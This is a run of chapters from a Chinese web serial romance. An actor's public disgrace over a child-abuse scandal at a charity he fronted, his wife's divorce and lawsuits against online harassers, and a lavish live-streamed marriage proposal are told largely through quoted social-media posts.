{才多久啊节目直播怎么停了!林悠羽还被带去医院了!靠!这肯定跟宋明远有关系,天王老子来了也是宋明远干的!} {宋明远这是恼羞成怒了?直播的时候被咪咪揭穿假面所以憋不住对林悠羽动手了!虚伪恶心!} {如果林悠羽那些黑料都是宋明远买的营销号,那这个男人就太可怕了,让我觉得生理不适,如果这次林悠羽受伤也跟宋明远那他就更让人恶心了。} {谁还不知道宋明远是个垃圾?} 林悠羽粉丝疯狂辱骂,全都不相信自己姐姐真的做过哪些事,宋明远粉丝也不会待着被骂,两家开始撕起来。 林悠羽粉丝骂宋明远是渣男,宋明远粉丝骂林悠羽是荡妇。 宋明远粉丝还带上了许愿,愤怒指责许愿为了维护林悠羽带节奏污蔑宋明远,怒骂测谎机器人咪咪是没用的废物垃圾。 网友都惊呆了。 你带谁不行你带许愿?你们知道许愿什么身份吗就在这里骂? 许愿粉丝这能忍? 许愿粉丝有一大部分都是高质量的,在各个领域有成就,见宋明远粉丝疯子一样撕咬许愿,宋明远还躲着不出声,许愿粉丝也怒了。 宋明远是什么?追着许愿咬?他是不是太拿他自己当回事了。 宋明远粉丝就跟听不懂人话一样,不停在网上抛出宋明远做过多少慈善,捐过多少钱,在他们眼里宋明远就是大善人,这会儿没有人提及宋明远嘲讽女性的事情了。 他们把宋明远捧的太高,导致路人都看不下去,这件事沸沸扬扬的甚至还给宋明远买了个热搜,猛夸宋明远,还暗嘲许愿是黑心资本家。 捧宋明远就算了,还来踩许愿是黑心资本家? 许愿如果是黑心资本家,这世界上还有正常人吗? 别说是许愿粉丝,路人都被气笑了。 宋明远粉丝操作的这一波算是彻底惹怒了许愿的粉丝。 还不等许愿出手,她的粉丝就已经开始调查跟宋明远相关的事了。 不查不知道,一查还真的吓了一跳。 宋明远背后的资本都不是什么好东西,没几个干净的。 网络上还吵吵闹闹时帝城发生了一件大事,帝城孤儿院组织被不知名人士爆出黑料,并彻底曝光这些大人物私下玩弄幼童的一些打码照片,幼童的脸被打码,那些畜生的脸却被公之于众。 有暗访的记者录下那些孩童曾经居住的房间,说是房间不如说是地下室,那地方就像是关押罪犯的囚牢,那些幼童会被如何对待 这消息曝光后有关部门立刻彻查此事,跟这件事有关的人纷纷落马被关押审问,这其中有各行各业的“精英人士”,他们是衣装革履的成功人士,可脱了衣服就是衣冠禽兽。 而那些畜生竟然很大一部分都跟宋明远有过合作,有他交好的导演,制片人,还有数次为他投资的商人。 最让人震惊的则是,宋明远就是这组织的代言人,网友们彻底怒了,开始猛烈攻击宋明远,宋明远粉丝还想给宋明远洗白,却被各种组织围攻,就连各类组织都怒斥宋明远无德,并严格申斥这种毒瘤艺人就该被封杀! 宋明远部分粉丝觉得宋明远无辜,纷纷下场洗白宋明远。 {就代言一下怎么就都是他的错了?他不也是存着好心做好事的?为什么都喷他?难道不该骂那些亲手,你们脑子怎么就不能清醒点!} {笑死,一看就知道这些组织为什么针对我们哥哥,明摆着是为了哄许愿呢。你们这么哄许愿,看许愿搭理你们吗!} {我们哥哥捐过钱出过力,现在就因为这点事就骂他?有没有天理?} {宋明远只是代言人而已,他接下这个代言也是想做好事让更多人跟他一起给孤儿院的孩子捐赠物资吗?当初他接了这代言的时候你们夸他心善现在出了事就要把脏水都泼到他身上?凭什么?} {做好事都要被骂这世界上还有没有天理了?那些人是畜生难道宋明远就跟他们一样吗?你们没看到宋明远接下这个代言还向基金会捐了两百万吗!这些钱难道也是假的吗!再说这个代言是他经纪人给他接的跟宋明远有什么关系?经纪人没有查清基金会底细就让他接了代言,这都是经纪人的锅跟宋明远没有关系!} 第932章 凭什么塌房 宋明远部分粉丝觉得这件事煽动水军骂一骂也就过去了,因为以前有些明星接了有问题的代言解除代言合约洗白后一样能在圈内生存,但他们显然不清楚这次事情闹得有多大。 在他们眼里宋明远就是代言了一下,凭什么就要骂他? 路人也被惹恼了。 {宋明远粉丝还有什么可洗的?那些孩子住在那种地方,他作为代言人在此前没有去看过这些孩子吗?就算去的时候那些人做了伪装!可宋明远真的没看到那些孩子满脸恐慌吗?作为一个理智的成年人,是绝对能够发现端倪的!宋明远如果去了没发现那就分明没把那些孩子放在心上!因为那群孩子也绝对会求救!可他没发现还在为自己成为代言人而沾沾自喜!他代言后发过多少次这类相关的广告,就为了提高自己的身价,多少人都是因为他做慈善粉上他的!夸他有爱心是难得一见的好男人!这就是你们眼中的好男人了吗!} 上面注意到基金会相关的事也开始着重调查,作为基金会代言人的宋明远自然没好果子吃,甚至有人怀疑宋明远跟一些人联系达成了某些龌龊合作,现在没把宋明远抓起来审问全因宋明远在圈子里有点人脉,也是等着看圈子里的人肯不肯帮他了。 粉丝们还什么都不懂,但其实现在按照上面的意思宋明远的星路算是到头了。 宋明远的经纪人因为网络上那些事直接慌了神。 经纪人是不打算管宋明远了,正打算跟他解除合同,但好歹是自己的朋友,两人也合作了这么多年,还真的不忍宋明远出事,本打算帮他一把,结果因为吃错东西进了医院,这边才洗了胃虚弱的躺在病床上,喘口气的功夫都没有,助理就着急忙慌的照过来说出事了。 出事了?谁出事了?经纪人都不用多想,肯定又是宋明远作妖了! 他就不能消停点吗! 经纪人气急败坏,想骂人但头晕目眩还想吐,也骂不出来,嗓子这会儿都是哑的,缓了好久才问助理到底是出了什么了不得的大事让他这么慌。 “林哥您自己看吧,宋哥的粉丝都疯了,现在疯狂攻击许总现在被全网骂,都说宋明远家粉丝是没脑子的疯子……这事儿骂完没多久,宋哥那边就又被爆黑料了,宋哥代言的那慈善基金会出事了……说是被查出来虐待幼童,现在事情闹大了,全都在讨伐宋哥。” 经纪人几乎是倒抽了一口凉气,此刻全都是对宋明远的怨恨了。 他因为这事儿又想吐,干呕了一会儿才清醒过来就给宋明远去了电话,是忍不了一点。 “你还有没有脑子!有没有!” “当初那个慈善基金会我就说过水深,不让你掺和进去,你非要为了接近那些资本进去!你当那是好混的吗!现在查出这件事你绝对会被上面封杀的!你完了!宋明远你完了!” “蠢货!你就是蠢货!我说让你找许愿道歉你道了没有!为什么林悠羽还流血去医院,你到底又干了什么!你心里是一点数都没有了吗!你真的是疯了!” 经纪人洗了胃嗓子疼的不行,整个人都不舒服,脾气更大了,只想骂宋明远出气。 宋明远还不知道事情闹大了,被骂蒙了。 “是林悠羽先推了我,我这才还手的。” “你是不是有病!林悠羽退你?林悠羽才多大力气!你多大力气!你自己心里没数!林悠羽给你生了三个孩子后身体多虚弱你也没数是吗!出什么事你也不能对自己老婆动手啊!” “就算那会儿没直播!你真当节目组没有别的摄像了!这段曝光你等着被骂死!” “妈的被你带跑偏了,宋明远如果你聪明现在就把跟那些资本断了关系你还不会特别惨,一定要尽快,稍微慢一点都会完蛋。” “你听我一句劝,登录自己账号,真诚点道歉,最好是开个直播,说明你对这件事的疏忽,那群人迟早要进去,他们没办法威胁你,就算还有些下面的人在外面没被抓,那群人也一定会被上面盯紧,露出马脚就会被抓,这是你唯一的机会了。” 宋明远听的云里雾里,实在不明白经纪人为什么这么慌。 “我只是代言,我又没做那事儿,凭什么就塌房?跟我什么关系?如果现在跟那些人划清关系,那群人的下属一定会报复我的!” 经纪人此刻想怒骂蠢货。 “你还不明白吗!你不划清关系,你马上就要被封杀了!全都在等你的回应!你以为上面会给你多少准备的机会吗!你当你自己真的干净吗!你不想想自己经不经得起上面那群人查!” 宋明远内心胆寒:“我再想想。” 经纪人气到要发疯。 “好,行,你想吧,我是管不了你了!以后你真出事也别找我了!” 经纪人骂完就挂电话。 就像经纪人说的那样,网络上骂声越来越多,没有多少人认识那些资本,他们只认识宋明远,宋明远是代言人那就骂他。 不多时有不少知情人士到网络上说起这次基金会出事的严重性以及对宋明远星途的影响。 {这次基金会事情牵扯甚广,粉丝也不必急着给他洗白,因为宋明远接下这个代言本也不是因为善心而是出于私心。 这类基金会一般情况下都是商圈有头有脸的人物作秀的地方,每年捐够固定的数额可以降低公司税率且还能提高公司的公信力及路人好感度甚至公司股票也能升几个点,所以他们捐出去的钱会数倍的赚回来。 这类人群会给基金会找一些知名度较高的明星艺人来彰显自己基金会有多高端,成功跟他们签约成为代言人的明星艺人会被视作自己人能够参加这些人的宴会谈下各类合作,后续不会再缺好资源。所以对他们来说这算是双赢。 宋明远粉丝也不用急着反驳我的观点,你们可以试着查一下这次被捕名单的大人物以及宋明远以前拍过的那些举,有多少都是跟这群人有关系的,宋明远是真善还是伪善一查便知。} 这条微博被顶到最前面,宋明远的大粉此刻都不敢吱声,只有小批量粉丝在下面骂他胡说八道嘴里没半句真话。 然而没等他们骂够本就有大V号总结了宋明远近期官宣的品牌合约和那些人的联系。 第933章 就要吃瓜看热闹 宋明远代言过的高档奢侈名表,其对应的是被捕的赵松 蓝源眼镜,对应的是被捕的张敬。 《红云》,天海影业老总是最大的投资商,也已被捕。 …… 后面还罗列了宋明远一些被八卦号曝光的未正式签约但已经谈妥的资源,也全都跟这些人有关。 宋明远的大粉也已经死心了,就像有些人说的,宋明远如果真的有那个心怎么可能不去孤儿院实地查探一下?就算他们伪装的再好也总能发现端倪,宋明远什么都没发现其实根本就没把这事放心上,他打从一开始看上的就是接下这个代言能给他带来的更好的资源。 说是为了慈善,其实为了资源。 甚至有可能宋明远知道那群孩子遭受的一切,但他仍然不管不顾,因为一群无父无母只能靠着孤儿院养大的孩子能有什么出息?在他心里大概还不如他的手表金贵。 他可能还是推波助澜的凶手。 宋明远官博里的大粉在群里纷纷沉默,还有些执迷不悟的粉丝脑子不清醒此刻还在群内辱骂这些曝光真相设计毁掉宋明远的人。 理智些的大粉不是傻子没有再被带节奏,但也不想在群里发言沉默的退群。 说再多,只能被那群疯子追着咬,最后就连她们也要被那群疯子说成是伤害宋明远的坏人。 到底是爱过,什么都不说,就已经是对宋明远最后的宽带和仁慈,如果她们想,他们可以爆出宋明远私下更多料。 五千人的满群此刻一直有人退出,最后竟然只剩下一千多人。 宋明远此前一直都营销老实好男人的人设,现在算是彻底塌房了。 网络上还在攻击宋明远不肯放过他,不仅攻击宋明远甚至攻击到宋明远此前接下的那部《明日之后》官博也沦陷,纷纷怒骂宋明远不配出演《明日之后》的男主角,甚至还不停@剧组更换男主角。 {《明日之后》可是民国卧底动作剧,像宋明远这种塌房塌到渣都不剩的人怎么演《明日之后》?他配演英雄吗?让他演汉奸都是看得起他!} {别不出声!《明日之后》必须换男主角否则电影票房一定遭遇滑铁卢!求求看看周鹤瑾老师!} {又想起以前宋明远粉丝攻击周鹤瑾那事儿了,现在看看真像是个笑话。} {也别只说电影啊,宋明远那些代言是不是也要换人了,品牌方们都别藏着不说话了赶紧换代言人吧,我现在只要想到我用的最新款手机代言人是宋明远就忍不住恶心想吐!} {前天才用半年的工资买了戒指想送给女朋友,现在看到宋明远相关的彻底气哭了,现在这戒指还能要吗?我都觉得恶心,更不要说送给女朋友了!我女朋友不大耳刮子抽我都是好的!品牌方赶紧换代言人啊!} 换代言人换男主角的言论才刷起来有些人就震惊的发现宋明远身上很多火爆资源和高奢资源都是某位资本给的!那是不是代表宋明远就是那位资本捧着的人。 这么一查才发现,那位资本是一名男性,还是很有钱上年纪的男性,有人报道说那位老人喜欢同性,这位从宋明远早年出道就开始捧宋明远了! 这两人之间怎么可能清清白白! {宋明远再一次刷新我的下限!原来是个不要脸的双插头!品牌方和剧组还不换人是等着干什么呢!不知道换谁?我看那节目里面的周鹤瑾就可以啊,人长得好演技也好,完全可以顶了宋明远这人渣!} 这波言论才刚刷起来宋明远的一群铁粉跳出来纷纷嘲讽周鹤瑾没办法跟宋明远比。 宋明远粉丝嘲完没多久各大品牌方就发博表示宋明远所有跟旗下有关的的品牌合约都将终止并出于各方面考虑更换更优秀的代言人,同时公布了新代言人的写真照。 新代言人正是周鹤瑾。 粉丝还在嘲讽周鹤瑾比不上宋明远,但品牌方直接打脸,将代言变成了周鹤瑾的。 剧组也紧接着表示《明日之后》还没有正式开拍,他们听取广大网友的意见并因周鹤瑾老实的精湛演技把男主角换成了周鹤瑾。 这波打脸直接令周鹤瑾粉丝不战而胜,甚至调侃周鹤瑾运气来了。 宋明远粉丝气急败坏。 {笑死了,就是捡到了我们宋老师不要的资源就乐成这样,周鹤瑾是捡垃圾的吗?} {我们宋老师代言还多着呢!周鹤瑾也就配得上这些垃圾代言了!} {那些小作坊品牌换代言人那是他们有眼无珠!我们宋老师分分钟签更好的品牌代言!} {垃圾《明日之后》等拍完上映我们也不去看!全给你们评价负分!} 宋明远粉丝为他发声,结果没多久他剩下的其他合作的品牌纷纷单方面解约。 宋明远粉丝红着眼睛还在为宋明远反黑各种辱骂这些品牌,说这些是小牌子,有些懂行的都被这些没脑子的气笑了。 {宋明远剩下的这群脑残粉真是一粉顶百黑啊。骂这些品牌是垃圾?那款珠宝品牌排在全球高奢品前十,一年代言费最少两千万,这是你们说的“垃圾”品牌小品牌,你们哥哥看不上的品牌?知不知道当年这代言还是你们哥哥求来的?哪位明星艺人遇到他家不低头喊句爸爸?你说爸爸的品牌是垃圾?没关系,你们继续骂,骂完许愿骂其它资本,你们继续作吧,你们捧的宋老师打从今天开始在娱乐圈即将查无此人!} 宋明远粉丝被吓到了,但都骂到现在了更不可能低头,只能骂的更凶。 趁着这个势头曾经被宋明远欺压过的艺人也知道了些内情纷纷发博踩一脚。 墙倒众人推,一些真真假假的有关于宋明远的料全被爆出来惹得网友纷纷吃瓜,反正跟他们没关系,倒霉的事宋明远又不是他们。 再说了,宋明远做错了事,活该被骂,他们就要吃瓜!就要看热闹! 周鹤瑾得了宋明远那些代言,而宋明远却因为基金会的事被骂上热搜,两个人形成鲜明对比。 第934章 愿你活成自己的光 宋明远的背后资本已经全部都被抓捕,他已经没有再度翻身的可能了。 有关宋明远的黑料也越来越多,已经被人扒出宋明远婚内出轨多名女性的黑料,甚至还曾多次去瓢,这已经算是违法犯罪,宋明远也因此被刑拘。 宋明远算是被彻底毁了。 就在这时,林悠羽被黑的原因找到了,确实是宋明远联系了那几个营销号故意发了林悠羽的黑贴,因为两人打算录制完节目后离婚,可宋明远满身黑料,担心离婚后被人嘲讽都是他的原因,所以才故意针对林悠羽想毁掉林悠羽。 一切都真相大白。 自始至终林悠羽都是那个最无辜的人。 被逼迫不停生孩子的是她,被婚内出轨的是她,被丈夫报复利用的是她。 林悠羽才是大写的一个惨。 到现在还有宋明远的脑残粉在为宋明远洗白,嘲讽如果不是宋明远林悠羽不会这么火,都是宋明远给的资源,当年谁不知道林悠羽是靠着“宋明远女朋友”这个称呼火的? 路人都看不下去觉得这群人纯属有病。 {有病就去医院看看好吗?宋明远都塌成什么样了?婚内出轨还瓢,一直逼着生儿子,甚至代言的基金会也出问题,还粉这种人?人家跟你们说他出轨的事,你说林悠羽是宋明远捧出来的?这是一回事儿吗!他捧林悠羽和他出轨这是两码事行吗!} 可那些人都是脑残了,怎么可能还跟你讲道理,开始不停咒骂林悠羽,又开始提及林悠羽当年的事,说她是女表,睡过很多男人,到处散播谣言,根本没注意到之前造谣的那群营销号都已经删帖了,这群脑残揪着这件事不放。 任谁也没想到林悠羽这次直接起诉了这些人,那群人还嘻嘻哈哈根本不当回事,说林悠羽就是说笑的,根本不敢真的起诉素人。 但十天后真的收到法院传票后那群人才慌了,这群人里面甚至还有刚考上A大的学生,因为已经成年需要承担相应的法律责任。 对方哭求林悠羽放过自己,自己还要上学不能有这个黑点,对方父母也轮番上阵让她不要小题大做,网友们也心软了。 他们都觉得只是个孩子,不该这么上纲上线,多少孩子努力都考不上A大,这可是高材生啊。 林悠羽再一次被逼做选择。 好像她不原谅对方就是她不够善良。 许愿在这时候登录了自己的账号发了这样一段话。 许愿:卑鄙者之所以卑鄙是因为在赌对方是不是高尚者,高尚者会因为一句口头的道歉轻易原谅,卑鄙者也会因此气焰更加嚣张,因为他们拿捏了你们的软肋,你们好自尊、你们好脸面、你们好善心、他们就会利用这一点然后肆意欺辱。 许愿:我们不需要一个人品低劣心肠恶毒的高材生,这样的人真的出了社会也会是害群之马。 许愿发言后有人爆出了那人父母的资料,他的父母同样也是恶人,甚至曾在现实中逼迫污蔑其他人,所以他们的儿子长成这样可以说是完全随了那恶毒的父母。 父母没有教好他,所以会有人教好他,法律会教好他。 {这样的人一家子都是坏种,让我想到了高材生投毒事件,还有高材生害人的那些事,这人真的进了A大恐怕也只会欺凌身边的同学,等到毕业谁能保证他不会做那些坏事呢?父母都是这样的人,还能指望儿子是好人吗?没有这样的道理。龙生龙凤生凤,老鼠的儿子会打洞这话是没错的。} 网友们都清楚就是这么个道理。 那群曾经辱骂林悠羽的人最后都受到了应有的处罚,而污蔑林悠羽的助教也被扒出来,同样被刑拘。 林悠羽曾经遭受的那些也被人知晓。 错的从来不是她,而是她身边的那些恶人。 一切真相大白,因为林悠羽和宋明远这件事闹得太大,所以法院那边为了做表率马上判离,两人拿到了离婚证。 等离婚证拿到手上的时候林悠羽才终于有了些真实感,她知道自己此刻终于得到了自己想要的。 她几乎热泪盈眶,她明白自己可以开始新的生活了。 宋明远在后悔参加这档节目的录制,林悠羽却觉得这档节目是自己的救赎。 她以前总听人说许愿有多好,那时候她只知道许愿是很强大的资本,可真正接触后才知道她并不像那些资本看不起演员艺人和普通人,也是因为许愿她才真的踏出那一步让自己迎来新生。 林悠羽在离婚后第一时间发了离婚证,林悠羽粉丝纷纷在下面留言“恭喜姐姐脱离苦海”。 可林悠羽发完离婚证后马上又发了一条微博。 林悠羽:已经是许总忠实粉丝了。 这话就让人明白林悠羽能够安稳离婚肯定是许愿在中间做了推手。 许愿在她微博下回了一句话。 {新生不是终点,而是更耀眼的光芒起点。愿你活成自己的光,温柔而强大,在世界的舞台上绽放独一无二的花朵。} 她永远这样温柔。 林悠羽的粉丝眼睛都红了,她们姐姐真是好不容易才熬到今天。 粉丝们纷纷复制许愿那句话在下面留言。 宋明远塌房也从节目中退出,《爱人的浪漫旅行》对林悠羽变成了跟女儿的浪漫旅行。 没有了宋明远,她更加自在更加惬意,节目收视率也节节攀升。 节目录制结束的最后一天,许愿和盛景炎分开做任务,已经快临近夜晚,她循着指引牌到了时代广场。 她不知道后面会有惊喜等着她 就像盛景炎答应许愿的那样,他说过,等能够站起来后,他会求婚。 许愿不知道全球各地知名广场以及大型商厦都更换成许愿的写真图及视频,且每一张图下面都标注“Marry me”。 许愿到了现场,看到目的地以及现场的布置整个人都有些不知所措。 广场四周围满了蓝色的定制小灯,远远望去像是徜徉在大海之中,乘着海浪滞留人间。 第935章 许愿,嫁给我好吗 他会这样布置,是因为许愿说过喜欢看海,这样望去就像是随风掀起微微的海浪,唯美梦幻。 场中央更是铺满了红玫瑰,在许愿摘掉黑布后那些小蓝灯被灭掉,一面面背景墙亮起来,上面正是许愿和盛景炎拍过的那些合照。 从背景墙这边整个广场逐渐亮起来,有航拍的摄像机特地飞到高空将全景拍摄下来,那些温暖的灯光组成了一句话“Marry me.” 直播间观众都像是变成了木头人,观众们呆呆的愣愣的看着都懵了很久才疯狂的发送弹幕。 {我天!节目组你们在干什么啊啊啊!是不是盛总在求婚!} {‘时代’广场啊!这不是有钱就能租到的地方!盛总不仅有钱还有权啊!牛逼!} {那么大个“Marry me!这是在求婚啊我日!} {呜呜盛总真不拿我们党外人,说求婚就求婚还来个现场直播!谁有我们CP粉吃得好!} 此刻亭子周围寂静得反常,连往常喧闹的鸟鸣都仿佛被按下了暂停键。 远处湖面泛起粼粼波光,倒映着天际线逐渐融为一体的橘红与绛紫,美得有些不真实。 一阵悠扬的小提琴声从身后传来。 许愿转身,看见盛景炎正站在铺满花瓣的小径尽头,手持提琴,抬眼时那双桃花眼里好像盛装的都是她的影子。 盛景炎的指尖在琴弦上跳跃,目光却始终锁在她脸上。 当他走完最后一段音符,琴弓轻搁在肩头,忽然单膝跪地。 许愿的呼吸滞住了。 弹幕的粉丝咬手帕嘤嘤嘤,画面中盛景炎一步步走到她面前,单膝跪地, 这不是网友们第一次看到盛景炎本人,可镜头切近时弹幕网友还是会忍不住为他的颜值疯狂刷屏。 盛景炎五官十分精致,长相俊美但眉宇间的英气却让人不会认错他的性别,特别是那双漂亮的桃花眼格外迷人,此刻那双眼眸中盛装的都是深情爱意。那样卓绝优雅的气质及温柔的眼神令屏幕前的网友观众再次尖叫。 {妈妈我现在也恋爱了!} {来人啊救救孩子吧孩子无性恋现在爱上了这个男人!淦!我要跟许总抢男人了!} {救命这一对到底怎么回事啊!随便给我一个好不好男女都可以呜呜呜!} {嗑了好久看到盛总求婚就好感动怎么回事,就是感觉有种苦尽甘来的感觉呜呜呜} 弹幕疯狂刷屏舔颜,盛景炎却忽视摄像机单膝跪地抬头望着许愿。 “我等这天等了很久,本来打了很多草稿想说很多感人深情的话,但现在看到你那些话也全都忘了。”盛景炎看着她眼底的温柔几乎快要溢出来:“抱歉,我有些紧张。” 许愿垂眸看他,她似乎是很想笑的,但眼眶却红红的。 盛景炎缓了下似乎感觉到许愿的情绪不稳。 “阿愿。”他的声音裹着夜风,却比任何时候都清晰,“你总说我像不会停的时钟。” 盛景炎仰头望着她泛红的眼眶,“但遇到你之后,我的每一秒都变得太慢。慢到想记住你每个表情的弧度,慢到连你发梢沾上花瓣的样子都想珍藏。所以阿愿……你愿意让这个笨拙的时钟,从此只为你转动吗?” 他打开木盒,一枚红钻戒指躺在铺满玫瑰花瓣的丝绒上,是她最喜欢的红钻戒指。 远处湖面突然绽放出烟花,一朵接一朵,将暮色彻底点燃成璀璨星河。 许愿这才发现,亭子周围的树枝上不知何时挂满了星光灯串,此刻全部亮起,像把整片夜空摘了去。 最后一朵烟花在夜空绽成心形时,许愿控制不住自己此刻激荡的内心。 早知道盛景炎会跟自己求婚,可真的到了这一刻她还是会眼眶发红,会激动到落泪。 “你不是早就只为我转动了吗。”许愿眼底弥漫的都是笑意。 盛景炎低笑一声,为她戴上戒指。 “我会用我一生的时间将你宠成真正的属于我的小公主,等到你三十岁、四十岁甚至一百岁,你都会是我的小公主……这是我对你的承诺,一辈子都有效。”他打开戒指盒取出戒指:“所以,请给我一个照顾你的机会好吗。” “许愿,嫁给我好吗。” 盛景炎抬眸,两人视线交汇,他轻轻勾起薄唇露出一抹浅淡的温柔笑意。 夜空中的无人机在天空中飞过像是簇簇绽放开的烟花,它们组成一句话“Marry me”。 好像有灯光照射在两人身上,渡上一层朦朦胧胧的微光。 许愿眼眶还是红的,眼睛里似乎蓄了泪意,她却还是笑起来,眼睛弯成好看的月牙,目光却一直落在盛景炎身上,就这样看着他,听他做出那些承诺。 人最爱什么呢?无非是钱权,如果这个人能把手中的钱全都给你,那已经能够最大程度的把他所有的爱给你。 因为这些才是最能够给人安全感的东西。 可盛景炎很早之前就把一切都给了许愿,他把股票房产都给许愿就是让所有人都知道许愿对他有多重要。 这样绝不会有人怀疑他和许愿的感情,再没人整日等着他们离婚,而他永远是她最坚强的后盾。 许愿俯身双手捧住男人的脸,这画面十分唯美,两人的侧脸都精致的像是精修过后的偶像剧主角的侧脸。 她的吻落在男人的额头,然后又吻在他的薄唇上,声音带着哭腔:“我愿意的,盛景炎,我只嫁给你……” 盛景炎笑起来,他将戒指戴在许愿的手上终于站起身将人拥进怀中在她耳边低声道:“我爱你,我会永远爱你。” 许愿终于控制不住汹涌的泪意,眼泪流下来,盛景炎伸出手擦拭她的泪水:“别哭,我想看你笑。” 许愿点着头抬起下巴让他擦眼泪,盛景炎习惯了似的唇角含笑的擦掉她脸上的泪水。 盛景炎面对镜头:“所有我们CP超话等级签到八级以上的粉丝可以转发盛世官博最新发出的抽奖博,我们会随机抽取一万名粉丝赠送盛氏旗下的戒指一枚,并赠送我们婚礼的伴手礼。” 第936章 剧本不太对 盛氏的钻戒最便宜的一枚都要一万,一万枚钻戒的造价……嘶,粉丝们想想都脑壳疼。 弹幕的粉丝已经开始狂发弹幕表示支持了。 {盛总大气!我这就去抽奖了,许总超美许总超棒,祝许总和盛总百年好合!求抽我!} {比起戒指我更馋伴手礼啊,许总和盛总婚礼的伴手礼,馋死了!} {啊啊啊,刚下班的我在地铁站看到了什么!地铁站张贴的海报都是盛总求婚的海报!大屏幕播放的视频也是求婚视频!盛总我知道你有钱但你这也太离谱了!} {公交车站的我也看到了……} {别说公交车站地铁站了,飞机场这边也有你们敢信?} {海市中央大屏也是……盛总你是想全国都知道你在求婚吗……} {所以这就是有钱人吗?盛总这婚求得可真是轰轰烈烈!说句全民围观不为过吧!} 节目自盛景炎说完那句话后切断,#盛景炎求婚许愿#的词条被刷上去,下面全都是嗷嗷嗷羡慕的祝福的,还有一群转发求抽奖的。 {嫁进豪门?能有什么好出路?人家就是看上她的脸,嫁进去还不是要给他们生孩子?林悠羽不就是这样的?嫁给宋明远后连着生了三个孩子,等着吧这俩不出五年准离婚,到时候许愿就要净身出户被赶出门了!} 这是一些智障脑残男人发的微博,下面果然一群蛀虫金针菇嘲讽许愿只喜欢有钱人。 {女人都喜欢嫁入豪门吗?真不知道网络上宣扬这种事对社会有什么好的影响,怎么?鼓动女人嫁给有钱男人吗?想没想过我们这些老实男人的感受!} 这些智障言论竟然还被很多人点赞认同,别说粉丝了,就是看了直播的路人都看不下去了。、 这些人都在说什么乱七八糟的啊! {有病?说许愿喜欢嫁入豪门在这里批判?你要不要去查查看许愿是谁再来叨叨呢?哪里来的恶臭蟑螂?许愿自己就够有钱的行吗?许总和盛总那是因为感情才在一起,怎么在这群人眼里就成了爱财如命的女人了?他们自己不觉得好笑?更不要说人家盛总都已经把财产全都转给许总了,如果盛总敢劈腿出轨许总就能直接让他滚蛋,人家就是势均力敌的爱情让你们说的这么恶心! 盛总这种身价百亿千亿的都知道给自己老婆安全感,你们这群渣滓也就只能在网络上狂吠找存在感了,真要没事干你们就找个厂子纳鞋底儿也算你们对社会作贡献了!} 这位路人的微博被顶上去,盛景炎求婚许愿的视频被人发到网络上传播,一群还张口闭口叨叨“天价彩礼”结婚后要跟妻子AA制的男人不吭气了。 路人更多的是在录制附近的求婚视频和海报,车站,地铁站,火车站,飞机场,广场,无人机,到处可见。 黎氏旗下的的明星纷纷发博恭喜自己盛总求婚成功,盛景炎求婚成功的热度已经成了微博热搜榜一。 不过巧的是就在盛景炎求婚成功后,盛景炎曾经的红颜知己找到许愿疾言厉色的说盛景炎追求她跟她在一起全都是为了利益,那女人其实已经疯了。 盛景炎在外面逢场作戏的时候对她们都是很温柔有礼的,所以也导致有些人想的多了些,想跟他真的产生感情,这位就是其中一个,不仅有了臆想症还有些疯了,她的家人将她送到了精神病院,没想到那边也看到了盛景炎的求婚直播,她就偷跑出来。 好在这件事没闹大,不然网络上不知道又要多少人骂他了。 盛景炎赶到的时候就听到对方那些嘲讽的话,他忍不住让保镖把人带走。 等房间内只剩两人后,许愿偷偷看他一眼,正对上盛景炎的眼睛没忍住噗嗤笑出来。 “你真以为我生气了?”许愿扬眉望着他,盛景炎看着她将人抱进怀里语气坚定:“你答应了我的求婚,不管发生事我们以后都是夫妻。” 许愿在他怀里也是掩不住笑意:“我们当然是夫妻。”她看着完全没有因为那个女人生气的意思。 盛景炎见她这么轻易的原谅自己此刻都有些面色复杂:“我觉得这不太对。” 许愿挑眉:“什么不对?” “我觉得现在这个剧本不太对。”盛景炎回应。 许愿都觉得自己现在有点不太明白盛景炎这是什么意思了。 什么剧本不对? 不过两人到底是默契,许愿只想了片刻眼皮都跟着跳了下:“你详细说说觉得哪里不对。” 盛景炎斟酌了下开口说:“我看过的那些短剧里面一般发生这种误会男女主角都会分开很多年后女主角再回国跟男主角经历重重磨难破镜重圆,我们之间似乎有些过于顺利了。” “……”许愿突然有点心梗:“早说了让你少看点总裁文学。” “他们但凡把话说清楚也不会上演那种破镜重圆不停追追追的脑残剧情了。”许愿吐槽了句,她握住盛景炎的手紧紧握着,“回家啦。” 当天许愿发出一条微博,那是一张婚纱照,照片上的盛景炎单膝跪地执起她的手亲吻着,而许愿歪头笑着,眼底都是充满幸福的笑意,微博配字“我们要结婚啦~” 盛景炎很配合的在她微博下面评论“结婚啦结婚啦~”。 …… 海外小岛。 苏青莲还在陪着唐清江复建,他现在也只是勉强能站起来,但是走路的话还需要训练的时间再久一些。 唐清江再度摔到地上后,苏青莲赶紧去扶,想劝他休息。 复建训练室的门突然那被敲响了,苏青莲扶着唐清江到轮椅上,又擦净他脸上的汗水才去开门。 “苏女士,盛景炎今天向阿愿求婚了。”唐文晞过来就是为了把这个消息告诉两人。 唐清江和苏青莲都没想到盛景炎行动这么快。 苏青莲挑了下眉看向唐清江。 唐清江轻笑一声:“看来我要加快进度复建了,不然可能赶不上阿愿的婚礼了。” 第937章 狐假虎威 “温栩栩那边进程怎么样?”唐清江问了句。 他记得温栩栩是阿愿很在意的好友,如果能赶上阿愿的婚礼就更好了。 苏青莲查了下黎云笙的伤情,轻轻笑了笑:“恢复的很好,我本来以为大概需要一年的时间,现在看,可能用不了多久,她现在应该又进了全息系统,大概修复最后一次黎云笙就可以醒过来了。” 因为黎云笙的求生意识很强,效率是双倍的。 大概真的能赶上阿愿的婚礼吧。 …… “你还真当你能攀附上黎少?不照照镜子看看你那张狐媚子一样的脸。” 温栩栩清醒的时候迎面就被一杯酒泼到脸上。 酒液打湿长发,她抬手将湿发顺了下,完全露出那张漂亮到有些妖艳的面容。 她睁开眼,微微上翘的眼尾勾勒出天然的媚态,却又被清澈的瞳仁洗去了轻佻,只余下一种令人心颤的温婉。睫毛浓密如鸦羽,根根分明地垂落,随着呼吸轻颤时,仿佛在眼睑投下细碎的影子。 是一双很漂亮的桃花眼,好像看谁都很深情。 包厢内的众人本来还嬉笑嘲讽,但在此刻也都噤声,偶有人吞咽了下口水。 温栩栩恍惚了一瞬,似乎此刻才清醒过来。 她还有些懵懵的,不清楚自己是谁,不清楚他们说的黎少是谁。 失忆了? 可总觉得自己不应该失忆,但就是忘了点什么东西? 总不能说是一杯酒被泼到失忆的。 